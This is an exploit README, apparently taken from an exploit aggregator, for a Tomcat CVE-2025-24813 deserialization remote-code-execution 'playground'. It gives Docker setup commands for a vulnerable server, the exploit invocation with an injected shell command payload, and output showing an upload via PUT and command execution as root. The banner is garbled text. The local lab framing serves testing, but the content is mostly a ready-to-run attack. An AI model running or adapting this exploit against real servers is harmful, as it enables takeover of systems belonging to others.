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## https://sploitus.com/exploit?id=B5F5D93A-3F52-5C3E-BFBC-9F299A1B18F0
Tomcat CVE-2025-24813 playground
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Exploit was forked from https://github.com/absholi7ly/POC-CVE-2025-24813/blob/main/README.md (did not work for me)
Content
=======
1. *ROOT.war* is a minimal app with one servlet including apache-common-3.1 and spawing a session
2. *ysoserial.jar* taken original from ysoserial repo (https://github.com/frohoff/ysoserial)
3. *Dockerfile* to build a vulnerable installation
4. *CVE_2025_24813.py* actual exlploit
Setup
=====
Build and run the vulnerable tomcat installation
```
$ docker build -t tomcat-cve-2025-24813 .
$ docker run --name tomcat-cve-2025-24813 -it -d -p 8080:8080 tomcat-cve-2025-24813
```
Exploit
=======
```
$ python CVE_2025_24813.py --command 'bash -c echo${IFS}$(id)>/tmp/PWN' http://localhost:8080
โโโโโโโโโโ โโโโโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโ โโโ โโโ โโโโโโ โโโโโโโโโโ
โโโโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโ
โโโ โโโ โโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโ
โโโ โโโโ โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโ โโโโโโโ
โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโ
โโโโโโโ โโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโ โโโ โโโโโโ โโโโโโโโโโ
---=== TOMCAT RCE PLAYGROUND by u238 ===---
[*] Session ID: u238
[+] Server is writable via PUT: http://localhost:8080/check.txt
[*] Generating ysoserial payload for command: bash -c echo${IFS}$(id)>/tmp/PWN
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://localhost:8080/u238.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://localhost:8080 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser
```
Check (after exploit)
=====
```
$ podman exec tomcat-cve-2025-24813 cat /tmp/PWN
uid=0(root) gid=0(root) groups=0(root)
```